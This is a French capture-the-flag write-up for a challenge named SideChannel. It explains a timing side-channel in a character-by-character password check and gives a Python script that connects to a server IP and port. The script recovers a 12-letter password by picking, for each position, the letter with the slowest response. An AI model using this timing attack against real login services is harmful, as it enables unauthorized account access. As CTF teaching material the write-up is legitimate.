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1 Résolution SideChannel :

Le nom du challenge qui est SideChannel et l’astuce que le serveur vérifie le mot de passe d’une façon étrange nous
indique qu’on pourrait peut être récupérer de l’information depuis le temps que le serveur prend à vérifier le mot de
passe. Voici le code don on peut deviner qu’il s’exécute sur le serveur :

1 vraiMotDePasse = ?

2 motDePasseUser = demanderMotDePasse ()

3 motDePasseUser = motDePasseUser [: longueur(vraiMotDePasse)]

4 Pour i allant de 0 à min(longueur(vraiMotDePasse), longueur(motDePasseUser)) :

5 Si vraiMotDePasse[i] != motDePasseUser[i] :

6 Retourner Faux

7 Attendre x secondes

8 Retourner Vrai

On peut donc tenter d’envoyer un premier caractère pour voir si cette intuition est la bonne :

Et comme on peut le voir ça semble être le cas, le serveur vérifie une lettre toutes les 0.5 secondes !

Pour finir, nous pouvons coder la solution associé qui va trouver les 12 lettres du mot de passe :

1 import math

2 import time

3 import random

4 import os, sys , socket

5

6 server = "146.59.227.136"

7 port = 23410

8

9 password = ""

10 for i in range(0, 12) :

11 print("Starting for the " + str(i) + "-th letter")

12 dataSave = ""

13 maxTime , maxTimeLetter = -1, None

14 for j in range(0, 26) :

15 # Connecting

16 ma_socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)

17 try:

18 ma_socket.connect ((server , port))

19 except Exception as e:

20 print("Probl ème de connexion", e.args)

21 sys.exit (1)

22 # Sending the password

23 data = ma_socket.recv (16384).decode("utf -8")

24 ma_socket.sendall (( password + chr(ord(’a’) + j) + "\n").encode("utf -8"))
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25 # Measuring time

26 currentTime = time.time()

27 data = ma_socket.recv (4096).decode("utf -8")

28 elapsedTime = time.time() - currentTime

29 if maxTime == -1 or elapsedTime > maxTime :

30 dataSave = data

31 maxTime = elapsedTime

32 maxTimeLetter = chr(ord(’a’) + j)

33 # Closing the socket

34 ma_socket.close()

35 # Adding the letter and printing if last letter

36 print("Found letter " + maxTimeLetter + " (time = " + str(maxTime) + ")")

37 print()

38 password += maxTimeLetter

39 if i == 11 :

40 print(password , dataSave)
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